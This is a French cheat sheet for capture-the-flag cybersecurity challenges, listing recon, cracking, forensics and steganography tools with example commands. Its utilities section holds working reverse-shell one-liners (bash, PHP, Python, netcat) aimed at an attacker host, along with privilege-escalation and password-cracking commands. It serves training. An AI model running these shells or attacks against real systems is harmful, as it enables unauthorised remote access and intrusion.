

Fiche technique

Mémento non exhaustif
des quelques commandes
et techniques utiles
en challenge Cyber

Patrice PARRAUD[1] et Léo STAIMPHIN[2]
[1] AMSCC/DE/CReC - [2] ENSIBS / Cyberdéfense


CTF
petit rappel
WEB
nikto
dirb
gobuster
ffuf
websploit
Base de Données
sqlmap
msqldump
...
Mots de Passe
Hascat
John The Ripper
Hydra
Medusa
Elev. Priv.
sudo
SUID
PATH
cron table
passwd /shadow
LinPEAS
...
Windows
certutil
winPEAS
dir
type
Collecte d'informations
netdiscover
nmap
smbmap
wpsan
enum4linux
nbtscan
...
Utilitaires
netcat / nc
curl
wget
file
bless
python
lastlog
commandes Unix : ls -la , file,
CyberChef - Magic
https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')
DNS
dig
dnsrecon
dnsenum
dnsmap
nslookup
Exploit
mfsconsole
searchsploit
msfvenom
...
Forensic
pdfpareser
binwalk
strings
exiftool
oletool
volatility
autopsy
...
Stégano
steghide / stegseek
videostego
audiostego
...
PDF
peepdf
pdf-parser
pdfcrack
pdfHider
...
Reverse
gbd
radare2
ghidra
ida
Crypto
RSActftools
Openssl
...
Presented with xmind

Collecte d’informations

- **netdiscover** : scanner de réseau
  → netdiscover -r 192.168.0.0/24 -p
- **nmap** : scanner de sécurité, de ports et outil d’exploration de réseaux
  → nmap A -sC -sV -O -p- 192.168.10.3
- **dnsmap** : scanner de sous-domaines DNS
  → dnsmap domain -w /path/to/wordlist
- **wpscan** : scan de vulnérabilités WordPress
  → wpscan --url URL --worldlist liste --username nom
- **sqlmap** : outil open source qui permet d'automatiser la détection et l'exploitation d'injections SQL dans une base de données sur un site web
  → sqlmap.py -u « .../xxx.php?id=1» --batch --dbs …
- **dirb** : scanner de contenu Web existants et/ou masqués (fichiers, dossiers …)
  → dirb http://site/ /usr/share/wordlists/dirb/common.txt -X .html, .php
- **gobuster** : scanner de contenu Web existants et/ou masqués (fichiers, dossiers …)
  → gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u http://site/ -x .php,html
- ...

Élévation de privilèges

- **sudo -l** : privilèges de l’utilisateur à utiliser la commande sudo
- **find / -perm -u=s -type f 2>/dev/null** : recherche des exécutables ayant le SUID
- les fichiers **/etc/passwd**, **/etc/shadow** et **/etc/group**
- la variable d’environnement **PATH**
- le script **linPEAS** qui recherche toutes les élévations de privilèges possibles sur un hôte Linux, Windows ou Mac
- ...

Les bases de Données

- **MysqlDump** : dump une base de données entièrement (configuration, tables et données)
  → mysqldump [options] --databases db_name …
- …

Stéganographie

- **strings** : commande permettant d'extraire les caractères affichables (chaînes de caractères) d'un fichier quelconque.
  → fichier image dans lequel on a inséré la chaîne « mot_de_passe »
  → strings fichier => mot_de_passe
- **binwalk** : outil permettant de rechercher dans une donnée binaire des fichiers incorporés et/ou du code exécutable.
  → binwalk -e fichier => datas extraites dans le dossier _fichier.extracted
- **steghide** : outil en ligne de commande pour dissimuler des données dans une image protégée par un mot de passe (https://www.kali.org/tools/steghide/)
- **stegseek** : crack des mot de passe protégeant l'insertion (https://github.com/RickdeJager/stegseek)
- **pdfhider :** outil en ligne de commande pour dissimuler une données dans un fichier pdf (https://github.com/NickTateo/PDFHider)
- **audiostego** : outil en ligne de commande pour dissimuler une données dans un fichier audio (https://github.com/danielcardeenas/AudioStego)
- **videostego :** outil en ligne de commande pour dissimuler une données dans un fichier vidéo (https://github.com/JavDomGom/videostego)

Crypto (brute force)

- **John the ripper** : outil d'extraction et de cassage de mot de passe au moyen de dictionnaires, de règles et de masques.

  → john -wordlist=/usr/share/wordlists/rockyou.txt myhash.txt

  et la commande **zip2john** pour extraire le mot de passe d'une archive zip.

  → zip2john monfichier.zip > myhashzip
  → john -wordlist=/usr/share/wordlists/rockyou.txt myhashzip
  → john --show myhashzip

- **fcrackzip** : crack de fichiers compressés zip protégés par mot de passe
  → fcrackzip -v -u -D -b /usr/share/wordlists/rockyou.txt monfichier.zip

- **Openssl** : (dé)chiffrement via **IV** et **KEY**
  - fichier IV contenant : a8a52cb64aec3dbec7a0e425867f90e6
  - fichier Key contenant : 06cc494b77502bca0423c0f795b33e9cc6ef953a9c66c8001c91056a5fe8bba6
  - données chiffrée : **dataC**
  - déchiffrement : openssl enc -aes-256-cbc -in **dataC** -out **dataP** -iv **a8a52cb64aec3dbec7a0e425867f90e6** -K **06cc494b77502bca0423c0f795b33e9cc6ef953a9c66c8001c91056a5fe8bba6** -d

- **RSActfTools** : outil pour décrypter les données à partir de clés publiques faibles et tenter de récupérer la clé privée correspondante, basé sur une gamme complète d'options d'attaque du protocole RSA (factorisation des nombres entiers).

Forensic

- **exiftool** : commande permettant de lire, d'écrire et de manipuler les métadonnées d'un fichier (image, audio, vidéo, office et PDF).
  → exiftool fichier

- **base64** : codage de données utilisant 64 caractères, choisis pour être disponibles sur la majorité des systèmes.

→ base64 fichier1 base64 -d fichier2
→ echo « chaîne1 » | base64 echo « chaine2 » | base64 -d

- **rot13** : cas particulier du chiffre de César, un algorithme simpliste de chiffrement de texte.
- **xor** : fonction OU exclusif, disjonction exclusive ou encore somme binaire en cryptographie noté +.
- **brainf**ck** : langage de programmation exotique dont le nom évoque en argot ce qui met le cerveau dans un état de confusion par sa complexité apparente.
- **lastlog** : identifier les connexions récentes des utilisateurs
- ...

Utilitaires

- **showmount** et **mount** : Afficher les informations sur les montages d'un serveur NFS (Network File System) et monter un système de fichiers distant sur un hôte.
  → showmount -e
  → mount -t nfs IP:/chemin_serveur_distant /dossier_local
- **netcat** ou **nc** : « couteau suisse du TCP/IP » en ligne de commande permettant d'écrire et de lire des données dans le réseau via les protocoles TCP et UDP
  - **communication entre deux machines**
    machine 1 : nc -nvlp <port1>
    machine 2 : nc -nv <target ip1> <port1>
  - **transfert machine 2 vers machine 1**
    machine 1 : nc -nvlp <port1> > fichier OUT
    machine 2 : nc -nv <target ip1> <port1> < fichier IN
  - **Bind shell** : le listener "écoute" sur la cible et l'attaquant se "connecte" au listener pour obtenir un shell distant.
    cible : nc -nvlp <port> -e {/bin/bash}
    attaquant : nc -nv <target ip> <port>
  - **Reverse shell** : le listener "écoute" sur l'attaquant et la cible se "connecte" au listener avec un shell.
    cible : nc -nv <target ip> <port> -e {/bin/bash}
    attaquant : nc -nvlp <port>

- **Reverse Shell sans netcat ou nc**
  - **bash** : bash -i >& /dev/tcp/attacker ip/attacker port 0>&1
  - **PHP** : php -r '$sock=fsockopen("attacker ip",attacker port); exec("/bin/sh -i <&3 >&3 2>&3");'
  - **Python** : python -c 'import socket,subprocess,os; s=socket.socket(socket.AF INET,socket.SOCK STREAM); s.connect(("attacker ip",attacker port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

- **Spawner un shell**
  - python -c 'import pty ;pty.spawn("/bin/bash") ;'
    Ctrl Z
    stty raw -echo;fg
    ENTER

- **Transfert Kali ⇿ Target (Linux)**
  - via **HTTP** (dossier d'échange /root/Box)

    Kali$ cd /root/Box
    en PHP : Kali$ php -S 127.0.0.1:port
    en Python2 : Kali$ python2 -m SimpleHTTPServer port
    en python3 : Kali$ python3 -m http.server port

    Target$ wget IP_Kali :port_Kali/ fichier
    Target$ wget c:port_Kali/ fichier

  - via **netcat** ou **nc**

    Kali$ nc -nv IP_Target port_Target < fichier_IN
    Target$ nc -nvlp port_Target > fichier_OUT

  - via **SSH**

    Target$ scp root@IP_Kali :/.../fichier .
    Target$ scp fichier root@IP_Kali :/.../

- **Réseau** : savoir si deux machines communiquent , interroger un réseau et/ou DNS …
  - **ping** : commande pour vérifier et tester la connectivité entre deux hôtes sur un réseau
    → ping adresse_IP ou ping nom_machine
  - **host** : commande qui permet d'effectuer une énumération DNS.
    → recherche pour trouver l'adresse IP : host -a domaine_cible
    → recherche inversée sur l'adresse IP : host adresse-IP-cible
    → recherche pour trouver les serveurs de noms de domaine : host -t ns domaine_cible
  - **dig** : collecter des informations sur les serveurs DNS.
    → recherche DNS : dig nom ou dig +short nom (uniquement l'adresse IP)
    → spécifier un serveur DNS : dig @adresse_IP nom
  - **nslookup** : commande simple mais très pratique qui est principalement utilisé pour trouver l'adresse IP d'un hôte spécifique ou le nom de domaine d'une adresse IP spécifique (recherche DNS inverse).
    → nslookup nom ou nslookup IP
- **wireshark** : écoute et permet d'analyser les paquets reçus sur une interface

  → https://www.geeksforgeeks.org/steps-of-exporting-data-in-wireshark/

OSINT

- **Analyse de comptes google** : un compte google peut avoir de nombreuses informations associées consultable directement en ligne: site webs associés, localisation publiques google maps, calendriers publics, pages youtubes, comptes liés via SSO (Single Sign-On (SSO) est un service d'authentification de session et d'utilisateur qui permet à un utilisateur d'utiliser un ensemble d'informations d'identification pour accéder à plusieurs applications.)

  → Plateforme complète d'analyse de compte google : https://epieos.com/
- **Oletools** : package d'outils Python permettant d'analyser les fichiers Microsoft OLE2 tels que les documents Microsoft Office 97-2003, les fichiers MSI ou les messages Outlook.
- **FotoForensic** : outils forensic pour les images.
- **PeePDF**, **PDF-parser**, **PDFcrack** : outils forensic pour les fichiers pdf.
- ...

Liens (très) utiles !

- Kali tools : https://www.kali.org/tools/
- GTFOBins (Unix binaries bypass : https://gtfobins.github.io/
- CyberChef : https://gchq.github.io/CyberChef/
- CyberChef « magic » : reconnaître l'encodage d'une donnée (https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,")
- dcode : https://www.dcode.fr
- RSActfTools : https://github.com/Ganapati/RsaCtfTool
- John The Ripper : https://github.com/openwall/john
- aperisolve : https://www.aperisolve.com/
- md5decrypt : https://md5decrypt.net/
- Han Xin Qrcode reader : https://products.aspose.app/barcode/recognize/hanxin
- Qrcode reader : https://products.aspose.app/barcode/fr/recognize/qr
- PHP-Reverse-Shell : https://pentestmonkey.net/tools/web-shells/php-reverse-shell
- LinPEAS vs WinPEAS : https://github.com/peass-ng/PEASS-ng
- Payload ALL the Things : https://github.com/swisskyrepo/PayloadsAllTheThings
- Oletools : https://github.com/decalage2/oletools
- FotoForensic : https://fotoforensics.com/
- Iplocation : https://www.iplocation.net/
- PDF tools : https://www.kali.org/tools/pdfcrack/ , https://www.kali.org/tools/pdf-parser/ , https://eternal-todo.com/tools/peepdf-pdf-analysis-tool
- Toutes le MindMap et bien plus : https://github.com/Ignitetechnologies/Mindmap
- ...